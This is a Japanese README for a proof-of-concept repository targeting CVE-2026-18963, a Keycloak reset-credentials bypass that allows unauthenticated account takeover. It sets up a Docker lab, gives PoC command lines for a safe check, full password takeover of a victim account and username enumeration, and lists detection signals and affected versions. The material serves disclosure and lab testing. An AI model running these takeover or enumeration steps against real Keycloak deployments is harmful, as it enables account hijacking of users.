CVE-2026-18963

Keycloak reset-credentials バイパス → 未認証でのアカウント乗っ取り CVSS 9.1 | 影響範囲: Keycloak 26.0.0 – 26.7.1

レイアウト

CVE-2026-18963/
├── cve_2026_18963_poc.py   <- PoC script (Python 3.9+, stdlib only)
├── README.md
├── docker-compose.yml      <- Lab environment
└── realm-poc.json          <- Keycloak realm config (auto-imported)

要件

Docker + Docker Compose
Python 3.9+（標準ライブラリのみ、インストール不要）
Linux

ステップ1: ラボを起動する

docker compose up -d

または、レルムのインポートを行わずに Keycloak を直接実行します:

docker run -p 127.0.0.1:8080:8080 \
  -e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
  -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.7.1 start-dev

Keycloakの起動が完了するまで約30～60秒待ちます。

サービス

サービス	URL	バージョン	ステータス
kc-vuln	http://localhost:8080	26.7.1	脆弱 ⚠️
Mailpit	http://localhost:8025	latest	メールをキャプチャ

デフォルトの認証情報

Keycloak管理者: admin / admin
被害者ユーザー: victim / OriginalPassw0rd!
レルム: poc | クライアント: poc-app
設定の確認: Realm settings → Loginタブ → Forgot password がONになっていること。
pocレルムまたはvictimユーザーが存在しない場合は、手動でインポートします: Manage realms → Create realm → realm-poc.jsonをアップロード。

ステップ2: PoCを実行する

安全なチェック（ユーザー名不要、副作用なし）

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check

kc-vuln での期待される結果: [!] VULNERABLE — email gate execution served

非破壊的な証明（Update Password フォームで停止）

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check

副作用: 被害者にリセットメールが送信され (http://localhost:8025 で確認できます)、 emailVerified が true に設定されます。

完全なアカウント乗っ取り

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'

その後、http://localhost:8080/realms/poc/account に victim / PoCPassw0rd!1 でログインして確認します。

ユーザー名の列挙

printf 'victim\nadmin\nnobody\n' > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt

ステップ 3: 被害者を初期状態にリセットする

レルムは初回起動時にのみインポートされるため、最も簡単なリセット方法は環境をゼロから再作成することです:

docker compose down -v && docker compose up -d

または、管理コンソール（http://localhost:8080/admin）で手動でパスワードをリセットします: Users → victim → Credentials → Reset password → OriginalPassw0rd!。

後片付け

docker compose down -v

検出シグナル

シグナル	正規の動作	エクスプロイト
`GET /login-actions/action-token?...`	✅ はい	❌ いいえ
`POST .../reset-credentials`（ボディ `tryAnotherWay=yes`）	❌ いいえ	✅ はい
`SEND_RESET_PASSWORD` → `UPDATE_PASSWORD`（同一 `code_id`、2 秒未満）	まれ	✅ 常に
`emailVerified` が `VERIFY_EMAIL` イベントなしで `true` に変化	❌	✅ 常に

Mailpit（http://localhost:8025）では、パスワードリセットメールが被害者のメールボックスに届くが、エクスプロイトが成功した場合、**その中のリンクは決してクリックされない**。

影響を受けるバージョン

リリースライン	影響あり	修正
≤ 17（WildFly）	なし	—
26.0 – 26.3	26.0.0 – 26.x.x	なし（26.7.2 へ移行が必要）
26.4	26.4.0 – 26.4.14	26.4.15（ベンダーバックポート）
26.5	26.5.0 – 26.5.7	なし
26.6	26.6.0 – 26.6.5	26.6.6（ベンダーバックポート）
26.7	26.7.0 – 26.7.1	26.7.2 ✅

26.0 より前のバージョンは影響を受けない：スティッキーな AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED ノートおよびリセットフロー内の「Try another way」セレクター画面は 26.0.0 で導入された。古いビルドには脆弱なコードパスが単に存在しないだけであり、これはパッチ適用済みであることとは異なる。

参考情報

Sploitus（元の README）: https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
Keycloak イシュー: https://github.com/keycloak/keycloak/issues/51833
修正 PR: https://github.com/keycloak/keycloak/pull/51844
GHSA: GHSA-4gv3-mc9p-5wqc
Red Hat: https://access.redhat.com/security/cve/cve-2026-18963

Keycloak_CVE-2026-18963_PoC

人気